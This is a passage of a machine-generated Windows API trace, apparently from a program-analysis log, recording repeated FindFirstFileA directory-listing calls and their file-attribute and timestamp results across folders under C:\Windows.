ftCreationTime.dwLowDateTime=0xc485e8c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc485e8c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc485e8c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.342] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109810090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24a9ec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x340031, dwReserved1=0x30002e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.343] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109810090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24a9ec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.346] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109B10090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24a9ec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.346] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109B10090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.349] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109C20090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa8a7efe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa8a7efe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8a7efe0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.350] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109C20090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa8a7efe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa8a7efe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8a7efe0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.351] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109E60090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc20a59a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x340031, dwReserved1=0x30002e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.351] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109E60090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc20a59a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc25da9c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25da9c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.359] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F10090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1fd3600, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa22cd180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa22cd180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.360] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F10090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1fd3600, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa225ad60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.386] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100A0C00100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa6d30100, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa7323800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.387] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100A0C00100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa6d30100, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.403] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100C0400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3e52fe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa4c28fc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4c28fc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.404] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100C0400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3e52fe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4b90a40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.412] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119110000000100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x70c9f7b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.413] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119110000000100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x70c9f7b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.437] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119750000000100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x854dc420, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec6c14e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec6c14e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.439] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119750000000100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x854dc420, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec32f3e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.575] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119B30000000100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbf36c820, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe60ff8e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe60ff8e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.576] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119B30000000100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbf36c820, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.888] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd2429ac0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd2429ac0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd2429ac0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.888] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F\\10.0.40219\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd2429ac0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd28a0400, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd28a0400, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.895] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcc295340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc295340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc295340, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.896] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A\\10.0.40219\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcc295340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc64d5a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc64d5a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.904] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\c1c4f01781cc94c4c8fb1542c0981a2a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xec69b380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec69b380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec69b380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.905] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\c1c4f01781cc94c4c8fb1542c0981a2a\\8.0.61001\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xec69b380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec69b380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec69b380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.911] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\{90140000-0043-0000-1000-0000000FF1CE}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b4fd5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2b4fd5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b4fd5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501542, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.916] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\{90140000-006E-0409-1000-0000000FF1CE}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2600b20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.918] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\{91140000-0011-0000-1000-0000000FF1CE}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77dd6e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9c4233d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c4233d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.929] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\{91140000-003B-0000-1000-0000000FF1CE}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc112db20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe6ce66e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe6ce66e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.933] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\{91140000-0057-0000-1000-0000000FF1CE}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86fefe60, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xed1c3aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xed1c3aa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.936] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83b8f440, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8788e800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8788e800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.939] FindFirstFileA (in: lpFileName="C:\\Windows\\L2Schemas\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.944] FindFirstFileA (in: lpFileName="C:\\Windows\\LiveKernelReports\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe60eb80, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.944] FindFirstFileA (in: lpFileName="C:\\Windows\\Logs\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6938ae40, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0x6938ae40, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.945] FindFirstFileA (in: lpFileName="C:\\Windows\\Logs\\CBS\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x151731e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x151731e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.947] FindFirstFileA (in: lpFileName="C:\\Windows\\Logs\\DPX\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ca89280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2ca89280, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2ca89280, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.949] FindFirstFileA (in: lpFileName="C:\\Windows\\Logs\\HomeGroup\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80093051, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80093051, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.950] FindFirstFileA (in: lpFileName="C:\\Windows\\Logs\\SystemRestore\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6938ae40, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xf9fe860, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x6811ff60, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.951] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.951] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Afternoon\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81188d30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81188d30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.963] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Calligraphy\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810a44ef, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810a44ef, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, 